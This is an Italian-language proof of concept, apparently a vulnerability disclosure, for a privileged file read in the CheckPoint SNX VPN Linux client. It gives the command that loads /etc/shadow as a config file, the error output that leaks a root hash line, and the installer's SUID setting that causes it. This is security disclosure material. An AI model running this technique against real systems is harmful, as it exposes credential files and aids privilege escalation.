
Prova di concetto per lettura di file privilegiati attraverso CheckPoint SNX VPN Linux Client
Prova di concetto per la lettura di file privilegiata tramite il client Linux CheckPoint SNX VPN.
Per sfruttare la vulnerabilità, basta caricare qualsiasi file come configurazione SNX usando il parametro -f. Se il file non è una configurazione SNX valida, verrà generato un errore e verrà visualizzato un errore di sintassi, divulgando il contenuto fino al terminatore di stringa (ad esempio etc/shadow):
$ /usr/bin/snx -f /etc/shadow
parsing of the file: /etc/shadow failed: Line 1: unknown attribute 'root:$6$Mi[REDACTED]VwUSrc2ioKt.2Mex.yF.:18624:0:99999:7:::'
Valid attributes are:
- server SNX server to connet to
- sslport The SNX SSL port (if not default)
- username the user name
(...)
La causa è dovuta al fatto che l'eseguibile /usr/bin/snx ha il bit SETUID e viene eseguito come super-utente, impostato durante l'installazione.
In particolare, la variabile COMMAND_TO_RUN definita nel file di installazione .sh (CheckPointVPN_SNX_Linux_800007075.sh):
[...]
COMMAND_TO_RUN="install --owner=root --group=root --mode=u=rxs,g=x,o=x snx /usr/bin/snx; install --owner=root --group=root --mode=u=rx,g=rx,o=rx snx_uninstall.sh /usr/bin/snx_uninstall; install --directory --owner=root --group=root --mode=u=rwx /etc/snx; install --directory --owner=root --group=root --mode=u=rwx /etc/snx/tmp"
Nel parametro --mode=u=rxs, l'ultima s imposta il bit SUID, portando così all'esecuzione del binario eseguibile come root.